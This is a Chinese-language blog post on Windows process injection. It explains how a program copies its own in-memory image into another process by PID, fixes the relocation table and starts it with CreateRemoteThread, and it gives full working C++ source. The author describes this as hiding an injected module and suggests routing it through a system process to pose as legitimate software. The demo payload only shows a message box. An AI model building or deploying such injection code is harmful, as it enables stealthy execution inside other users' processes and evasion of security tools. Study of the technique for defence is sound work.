赞
踩
如果进程A本身就给了其他进程申请和写入空间的权限,那我只要将模块复制到指定进程A的空间里面,再利用远程线程或者hook也就能让我们的模块在进程A运行,这就是内存写入注入
只要我进程A允许进程B有写入操作就可以实现注入。这样实现了隐藏模块的注入
拓展:若是不允许别的进程有写入操作,但应该也会允许系统进程有写入操作,只要我将注入功能注入到系统进程里面,让系统进程对进程A进行内存写入注入就可以了。相当于内存写入注入+伪装合法软件注入
1、内存写入:
2、模块入口函数执行
为什么不用修复IAT表也可以注入成功,我想:
只要我注入进的代码这里用的函数都是被注入进程dll里面有的应该就可以不用修复,因为两个常见系统dll(user32、kernel32)都会抢占到相同的内存地址 。正因为抢占到了相同位置,所以并不需要修复IAT表。但我注入进的代码用到其他 位置不相同的dll了就需要修复IAT表了
还有调用系统函数是间接call,这样可能会想就算重定位修复了IAT的地址如:FF [4123] 变成了 FF[5123],但IAT表里面的内容没有跟着移动到新的地址,所以FF[5123]里面是空的。这样想恰恰是错误的,我们复制是根据ImageBase整体复制的,内容并没有改变,IAT表的内容也会从[4123]复制到[5123],也正是这样,我们才需要修复间接Call,让它从4123变成5123
说明:XP和Win10上都可以运行,没有修复IAT表。
错误点:卸载注入时有错误,能通过内存写入改变全局变量来结束远程线程,但远程释放空间会让程序崩溃
#include <stdio.h> #include <iostream> #include < windows.h> #define PID 13912 #define RELOCATION 5 using namespace std; //得到Image_base SizeOfImage EntryPoint DWORD GetSizeOfImage(IN LPVOID FileBuffer, OUT DWORD& ImageBase, OUT DWORD& EntryPoint) { PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)FileBuffer; PIMAGE_FILE_HEADER pFile = (PIMAGE_FILE_HEADER)((DWORD)FileBuffer + pDos->e_lfanew + 0x4); PIMAGE_OPTIONAL_HEADER32 pOption = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pFile + IMAGE_SIZEOF_FILE_HEADER); PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((DWORD)pOption + pFile->SizeOfOptionalHeader); ImageBase = pOption->ImageBase; EntryPoint = pOption->AddressOfEntryPoint; //防止ImageSize不准,靠最后一个节来得到ImageSize DWORD Last_idex = pFile->NumberOfSections - 1; DWORD real_ImageSize = pSection[Last_idex].VirtualAddress + pSection[Last_idex].SizeOfRawData; return real_ImageSize; } //修复重定位表 void FixRelocation(IN LPVOID Buffer, IN DWORD FixImageBase) { PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)Buffer; if (pDos->e_magic != IMAGE_DOS_SIGNATURE || *(PDWORD)((DWORD)pDos + pDos->e_lfanew) != IMAGE_NT_SIGNATURE) { cout << "NOT MZ" << endl; return; } PIMAGE_FILE_HEADER pFile = (PIMAGE_FILE_HEADER)((DWORD)pDos + pDos->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER32 pOptionalFile = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pFile + IMAGE_SIZEOF_FILE_HEADER); PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)Buffer + pOptionalFile->DataDirectory[5].VirtualAddress); //保存原本值 更改ImageBase DWORD Imagebase = pOptionalFile->ImageBase; pOptionalFile->ImageBase = FixImageBase; //修复重定位表 PWORD pDataAddr = (PWORD)((DWORD)pRelocation + 8); DWORD Block = pRelocation->SizeOfBlock; DWORD VitualAddr = pRelocation->VirtualAddress; PDWORD Replace = NULL; DWORD Rva = 0; while (Block != 0 && VitualAddr != 0) { for (DWORD i = 0; i < (Block - 8) / 2; i++) { // 高四位值为3 代表的是需要修改的数据 if ((*(pDataAddr + i) & 0xF000) == 0x3000) { Rva = (*(pDataAddr + i) & 0x0FFF) + VitualAddr; Replace = (PDWORD)((DWORD)Buffer + Rva); *Replace = *Replace - Imagebase + FixImageBase; } } pRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocation + Block); Block = pRelocation->SizeOfBlock; VitualAddr = pRelocation->VirtualAddress; pDataAddr = (PWORD)((DWORD)pRelocation + 8); } } //全局变量,用于控远程线程函数 DWORD ExitCode = 0; //要执行的函数 线程函数格式 DWORD WINAPI Entry(LPVOID lpParameter) { //程序代码 while(1) { Sleep(2000); MessageBox(NULL, L"执行的函数", L"注入", MB_OK); if (ExitCode) { ExitThread(1); return 0; } } return 0; } int main() { cout << "注入中...." << endl; //获取当前模块句柄 HANDLE hCurrentProcess = NULL; hCurrentProcess = ::GetModuleHandle(NULL); if (hCurrentProcess == NULL) { cout << "获取当前模块句柄失败" << endl; return 0; } //得到自己的SizeOfImage和ImageBase DWORD EntryPoint = 0; DWORD ImageBase = 0; DWORD SizeOfImage = GetSizeOfImage((LPVOID)(DWORD)hCurrentProcess, ImageBase, EntryPoint); //当前空间申请空间存放自身代码 LPVOID pszBuffer = malloc(SizeOfImage); if (pszBuffer == NULL) { cout << "申请空间失败" << endl; return 0; } ZeroMemory(pszBuffer, SizeOfImage); //空间存放自身代码 memcpy(pszBuffer, (LPVOID)ImageBase, SizeOfImage); //获取要注入的进程A句柄 HANDLE hProcess = NULL; hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID); if (hProcess == NULL) { cout << "获取进程A句柄失败" << endl; return 0; } //在远程进程A中申请空间 LPVOID pszProBuffer = NULL; pszProBuffer = VirtualAllocEx(hProcess, NULL, SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pszProBuffer == NULL) { cout << "远程进程A中申请空间失败" << endl; return 0; } //修复重定位表 FixRelocation(pszBuffer, (DWORD)pszProBuffer); //写入远程进程空间 DWORD WriteSize = 0; if (!WriteProcessMemory(hProcess, pszProBuffer, pszBuffer, SizeOfImage, &WriteSize)) { cout << "写入远程进程失败" << endl; return 0; } //创建远程线程 坑点 给的线程函数地址需要是重定位后的 DWORD dwProcOffset = (DWORD)Entry - (DWORD)ImageBase + (DWORD)pszProBuffer; 坑点 HANDLE hThread = NULL; hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)dwProcOffset, NULL, 0, 0); //释放本身内存 free(pszBuffer); //释放 system("pause"); DWORD CodeAddr = (DWORD)&ExitCode - (DWORD)ImageBase + (DWORD)pszProBuffer; DWORD Code = 1; DWORD size; if (!WriteProcessMemory(hProcess, (LPVOID)CodeAddr, (LPVOID)&Code, 4, &size)) { cout << "写入远程进程失败" << endl; return 0; } //远程释放会崩 //VirtualFreeEx(hProcess,pszProBuffer,SizeOfImage,MEM_DECOMMIT); return 0; }
注入成功图,在win10上测试:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。